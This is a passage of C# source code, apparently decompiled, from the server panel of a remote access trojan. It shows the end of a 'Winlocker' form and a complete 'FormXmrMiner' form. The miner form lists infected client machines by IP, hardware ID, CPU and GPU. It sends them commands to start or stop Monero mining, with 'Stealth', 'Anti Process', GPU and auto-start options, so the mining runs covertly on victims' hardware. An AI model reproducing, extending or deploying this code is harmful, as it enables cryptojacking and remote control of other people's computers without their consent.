base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(630, 450);
base.Controls.Add(this.panel1);
base.Name = "FormWinlocker";
this.Text = "Winlocker";
base.Load += new System.EventHandler(FormWinlocker_Load);
this.panel1.ResumeLayout(false);
base.ResumeLayout(false);
}
}
+454
View File
@@ -0,0 +1,454 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
namespace Server.Forms;
public class FormXmrMiner : FormMaterial
{
public bool work;
private IContainer components;
private Panel panel1;
public MaterialSwitch materialSwitch2;
private RJButton rjButton1;
public MaterialSwitch materialSwitch1;
public MaterialSwitch materialSwitch7;
public DataGridView GridClients;
private DataGridViewTextBoxColumn ColumnIP;
private DataGridViewTextBoxColumn ColumnHwid;
private DataGridViewTextBoxColumn ColumnStatus;
private DataGridViewTextBoxColumn ColumnCpu;
private DataGridViewTextBoxColumn ColumnGpu;
private Timer timer1;
public RJTextBox rjTextBox2;
public MaterialSwitch materialSwitch3;
public RJTextBox rjTextBox3;
public MaterialSwitch materialSwitch4;
public FormXmrMiner()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
if (File.Exists("local\\Miner.json"))
{
MinerXMR minerXMR = JsonConvert.DeserializeObject<MinerXMR>(File.ReadAllText("local\\Miner.json"));
materialSwitch1.Checked = minerXMR.AntiProcess;
materialSwitch3.Checked = minerXMR.Stealth;
materialSwitch4.Checked = minerXMR.Gpu;
rjTextBox3.Texts = minerXMR.ArgsStealh;
rjTextBox2.Texts = minerXMR.Args;
if (minerXMR.AutoStart)
{
materialSwitch2.Checked = true;
work = true;
materialSwitch7.Checked = true;
}
}
}
private void ChangeScheme(object sender)
{
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjTextBox3.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.ForeColor = FormMaterial.PrimaryColor;
GridClients.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridClients.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridClients.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridClients.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
public Clients[] ClientsAll()
{
List<Clients> list = new List<Clients>();
foreach (DataGridViewRow item in (IEnumerable)GridClients.Rows)
{
list.Add((Clients)item.Tag);
}
return list.ToArray();
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Clients[] array = ClientsAll();
foreach (Clients client in array)
{
Task.Run(delegate
{
client.Disconnect();
});
}
GridClients.Rows.Clear();
Hide();
Save();
e.Cancel = true;
}
private void Save()
{
MinerXMR minerXMR = new MinerXMR();
minerXMR.AntiProcess = materialSwitch1.Checked;
minerXMR.Stealth = materialSwitch3.Checked;
minerXMR.ArgsStealh = rjTextBox3.Texts;
minerXMR.AutoStart = materialSwitch2.Checked;
minerXMR.Gpu = materialSwitch4.Checked;
minerXMR.Args = rjTextBox2.Texts;
File.WriteAllText("local\\Miner.json", JsonConvert.SerializeObject(minerXMR, Formatting.Indented));
}
public object[] Args()
{
if (!materialSwitch3.Checked)
{
return new object[4]
{
"Start",
materialSwitch1.Checked,
materialSwitch4.Checked,
" --cinit-find-x -B --algo=\"rx/0\" " + rjTextBox2.Texts
};
}
return new object[5]
{
"Start",
materialSwitch1.Checked,
materialSwitch4.Checked,
" --cinit-find-x -B --algo=\"rx/0\" " + rjTextBox2.Texts,
" --cinit-find-x -B --algo=\"rx/0\" " + rjTextBox3.Texts
};
}
private void rjButton1_Click(object sender, EventArgs e)
{
Hide();
}
private void materialSwitch7_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch7.Checked)
{
if (string.IsNullOrEmpty(rjTextBox2.Texts))
{
return;
}
Clients[] array = ClientsAll();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(Args());
}
}
else
{
Clients[] array = ClientsAll();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(new object[1] { "Stop" });
}
}
Save();
}
private void timer1_Tick(object sender, EventArgs e)
{
Text = $"Xmr Miner Online [{GridClients.Rows.Count}]";
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
Save();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.panel1 = new System.Windows.Forms.Panel();
this.rjTextBox3 = new CustomControls.RJControls.RJTextBox();
this.materialSwitch3 = new MaterialSkin.Controls.MaterialSwitch();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch7 = new MaterialSkin.Controls.MaterialSwitch();
this.GridClients = new System.Windows.Forms.DataGridView();
this.ColumnIP = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnHwid = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnStatus = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnCpu = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnGpu = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.materialSwitch4 = new MaterialSkin.Controls.MaterialSwitch();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.GridClients).BeginInit();
base.SuspendLayout();
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.materialSwitch4);
this.panel1.Controls.Add(this.rjTextBox3);
this.panel1.Controls.Add(this.materialSwitch3);
this.panel1.Controls.Add(this.rjTextBox2);
this.panel1.Controls.Add(this.materialSwitch2);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.materialSwitch1);
this.panel1.Controls.Add(this.materialSwitch7);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(971, 128);
this.panel1.TabIndex = 12;
this.rjTextBox3.BackColor = System.Drawing.Color.White;
this.rjTextBox3.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox3.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox3.BorderRadius = 0;
this.rjTextBox3.BorderSize = 1;
this.rjTextBox3.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox3.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox3.Location = new System.Drawing.Point(15, 86);
this.rjTextBox3.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox3.Multiline = false;
this.rjTextBox3.Name = "rjTextBox3";
this.rjTextBox3.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox3.PasswordChar = false;
this.rjTextBox3.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox3.PlaceholderText = "Args Stealh";
this.rjTextBox3.Size = new System.Drawing.Size(788, 30);
this.rjTextBox3.TabIndex = 11;
this.rjTextBox3.Texts = "";
this.rjTextBox3.UnderlinedStyle = false;
this.materialSwitch3.AutoSize = true;
this.materialSwitch3.Depth = 0;
this.materialSwitch3.Location = new System.Drawing.Point(394, 9);
this.materialSwitch3.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch3.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch3.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch3.Name = "materialSwitch3";
this.materialSwitch3.Ripple = true;
this.materialSwitch3.Size = new System.Drawing.Size(108, 37);
this.materialSwitch3.TabIndex = 10;
this.materialSwitch3.Text = "Stealth";
this.materialSwitch3.UseVisualStyleBackColor = true;
this.rjTextBox2.BackColor = System.Drawing.Color.White;
this.rjTextBox2.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox2.Location = new System.Drawing.Point(15, 50);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Args add";
this.rjTextBox2.Size = new System.Drawing.Size(788, 30);
this.rjTextBox2.TabIndex = 9;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(628, 9);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
this.materialSwitch2.TabIndex = 8;
this.materialSwitch2.Text = "Auto Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.rjButton1.BackColor = System.Drawing.Color.White;
this.rjButton1.BackgroundColor = System.Drawing.Color.White;
this.rjButton1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 1;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.Location = new System.Drawing.Point(15, 12);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 28);
this.rjButton1.TabIndex = 7;
this.rjButton1.Text = "Hide";
this.rjButton1.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Location = new System.Drawing.Point(236, 9);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(146, 37);
this.materialSwitch1.TabIndex = 6;
this.materialSwitch1.Text = "Anti Process";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch7.AutoSize = true;
this.materialSwitch7.Depth = 0;
this.materialSwitch7.Location = new System.Drawing.Point(132, 9);
this.materialSwitch7.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch7.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch7.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch7.Name = "materialSwitch7";
this.materialSwitch7.Ripple = true;
this.materialSwitch7.Size = new System.Drawing.Size(92, 37);
this.materialSwitch7.TabIndex = 4;
this.materialSwitch7.Text = "Start";
this.materialSwitch7.UseVisualStyleBackColor = true;
this.materialSwitch7.CheckedChanged += new System.EventHandler(materialSwitch7_CheckedChanged);
this.GridClients.AllowUserToAddRows = false;
this.GridClients.AllowUserToDeleteRows = false;
this.GridClients.AllowUserToResizeColumns = false;
this.GridClients.AllowUserToResizeRows = false;
this.GridClients.BackgroundColor = System.Drawing.Color.White;
this.GridClients.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridClients.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridClients.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridClients.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridClients.Columns.AddRange(this.ColumnIP, this.ColumnHwid, this.ColumnStatus, this.ColumnCpu, this.ColumnGpu);
this.GridClients.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridClients.DefaultCellStyle = dataGridViewCellStyle2;
this.GridClients.Dock = System.Windows.Forms.DockStyle.Fill;
this.GridClients.EnableHeadersVisualStyles = false;
this.GridClients.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridClients.Location = new System.Drawing.Point(3, 192);
this.GridClients.Name = "GridClients";
this.GridClients.ReadOnly = true;
this.GridClients.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridClients.RowHeadersVisible = false;
this.GridClients.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridClients.ShowCellErrors = false;
this.GridClients.ShowCellToolTips = false;
this.GridClients.ShowEditingIcon = false;
this.GridClients.ShowRowErrors = false;
this.GridClients.Size = new System.Drawing.Size(971, 340);
this.GridClients.TabIndex = 11;
this.ColumnIP.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None;
this.ColumnIP.HeaderText = "IP";
this.ColumnIP.MinimumWidth = 120;
this.ColumnIP.Name = "ColumnIP";
this.ColumnIP.ReadOnly = true;
this.ColumnIP.Width = 120;
this.ColumnHwid.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None;
this.ColumnHwid.HeaderText = "Hwid";
this.ColumnHwid.MinimumWidth = 200;
this.ColumnHwid.Name = "ColumnHwid";
this.ColumnHwid.ReadOnly = true;
this.ColumnHwid.Width = 200;
this.ColumnStatus.HeaderText = "Status";
this.ColumnStatus.MinimumWidth = 100;
this.ColumnStatus.Name = "ColumnStatus";
this.ColumnStatus.ReadOnly = true;
this.ColumnCpu.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnCpu.HeaderText = "Cpu";
this.ColumnCpu.MinimumWidth = 100;
this.ColumnCpu.Name = "ColumnCpu";
this.ColumnCpu.ReadOnly = true;
this.ColumnGpu.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.ColumnGpu.HeaderText = "Gpu";
this.ColumnGpu.Name = "ColumnGpu";
this.ColumnGpu.ReadOnly = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.materialSwitch4.AutoSize = true;
this.materialSwitch4.Depth = 0;
this.materialSwitch4.Location = new System.Drawing.Point(526, 9);
this.materialSwitch4.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch4.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch4.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch4.Name = "materialSwitch4";
this.materialSwitch4.Ripple = true;
this.materialSwitch4.Size = new System.Drawing.Size(87, 37);
this.materialSwitch4.TabIndex = 12;
this.materialSwitch4.Text = "Gpu";
this.materialSwitch4.UseVisualStyleBackColor = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(977, 535);
base.Controls.Add(this.GridClients);
base.Controls.Add(this.panel1);
base.Name = "FormXmrMiner";
this.Text = "Xmr Miner Online [0]";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.GridClients).EndInit();
base.ResumeLayout(false);
}
}